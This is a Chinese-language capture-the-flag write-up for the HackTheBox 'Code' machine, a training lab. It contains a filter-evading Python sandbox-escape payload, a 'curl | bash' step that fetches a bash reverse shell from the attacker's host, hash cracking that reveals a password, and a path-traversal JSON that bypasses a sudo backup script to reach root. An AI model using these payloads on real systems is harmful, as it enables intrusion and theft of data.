> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Code HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**技能：**

* SSTI 利用 – Python 代码编辑器
* SQLite 数据提取与哈希破解
* 通过路径操纵绕过 backy.sh（提权）
* 从根目录提取 Tar 归档
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/3280fb71bf9595b1c0bb1f91a2e73c4e637e22e0" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/4bde0288c168468e4da9badc3868fdef360b8fa5" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="/files/c8ef5ad4fbe4a367972ba26e7afaa92317c19be0" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板（22.5000）

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="/files/ce8ee677e9eddf77d4c64caee15243dedaab1390" alt=""><figcaption></figcaption></figure>

## SSTI 利用 – Python 代码编辑器

<figure><img src="/files/27ca6779ede31ce1b61f080bac6cb50330008c4c" alt=""><figcaption></figcaption></figure>

在 5000 端口上发现了一个 Python 代码编辑器。在常规注入尝试（`import os`, `exec`等）时，会产生错误。

<figure><img src="/files/58d69021e7628c5fe76623a07cd91c3b13e83da7" alt=""><figcaption></figcaption></figure>

为了绕过这些限制，我们使用一个循环来识别一个允许访问内置函数（`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> 这个 Python 循环尝试通过搜索 Python 基对象（`object`）的子类，寻找一个通过其`__globals__`暴露全局环境（ `__init__` 方法。每次迭代都会通过重新构造其名称来获取内置函数字典（`__builtins__`）以绕过简单过滤。如果该对象包含 `eval` 函数，则打印该类的索引。此技术通常用于调用诸如 `eval`, `exec`，以及 `打开`.

<figure><img src="/files/196d79557dffd19ed17f7748698125ae3cc239ee" alt=""><figcaption></figcaption></figure>

### 读 `/etc/passwd`

一旦包含 `eval` 的对象被识别后，我们执行：

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

这会显示两个用户： `martin` 和 `生产`.

<figure><img src="/files/19502f4811cf1a891659bb9dc3b5da8b031f3df9" alt=""><figcaption></figcaption></figure>

### **反向 Shell**

#### 在 443 端口监听：

```bash
nc -nvlp 443
```

#### 反向 Shell 脚本：

创建一个 `index.html` 包含以下内容的文件：

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

启动 Web 服务器：

```bash
python3 -m http.server 80
```

载荷注入：

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="/files/898d9a32ae822485722c48679ce710b33a364fd4" alt=""><figcaption></figcaption></figure>

#### 终端处理：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :)

<figure><img src="/files/4b780bc54dfed2977cb08c2d12cf97cdf1577e7b" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### 使用用户的 SSH 访问 `martin`

<figure><img src="/files/58fad5f6e664d902a1a781518966b87e1241062c" alt=""><figcaption></figcaption></figure>

我们发现一个 `database.db` 文件。通过 SQLite 检查揭示了两个用户（`开发`, `martin`）及其密码哈希。

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">Users</th><th>哈希</th></tr></thead><tbody><tr><td>开发</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>martin</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="/files/cd7fa4184d830a807c846f18ecad1da7478cc55e" alt=""><figcaption></figcaption></figure>

使用以下方法破解密码 [CrackStation](https://crackstation.net/)，然后连接：

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">Users</th><th>哈希</th></tr></thead><tbody><tr><td>开发</td><td>开发</td></tr><tr><td>martin</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="/files/5feb0fa3428218d05b5df897bc6e3e997eed2e1d" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="/files/133b97860085115c33f0f541ce8f6e9cd61fec3c" alt=""><figcaption></figcaption></figure>

### Sudo - backy.sh（脚本）

我们得知 `martin` 可以运行 `/usr/bin/backy.sh` 以 root 身份。

```bash
sudo -l
```

<figure><img src="/files/7b245250311d9c5ad155afbdde6687dcad70618a" alt=""><figcaption></figcaption></figure>

**该脚本检查：**

* 给定的 JSON 文件是否存在，
* 其中的每个路径都在 `directories_to_archive` 位于 `/var/` 或 `/home/`,
* 移除 `../` 序列通过 `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "用法：$0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "错误：未找到文件 '$json_file'。"
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "错误：$dir 不被允许。仅允许 /var/ 和 /home/ 下的目录。"
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**绕过：**

我们配置一个 `pwned.json` 文件：

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

执行：

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/2af24c5781454ad88bc694311557f3764090f44b" alt=""><figcaption></figcaption></figure>

解压：

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### root.txt flag :)

<figure><img src="/files/00dbf03e408e0c458968155fce98ea892522d3ed" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ca6c51a19d9580805003aa0504f81f83f8db2ac4" alt="" width="409"><figcaption></figcaption></figure>


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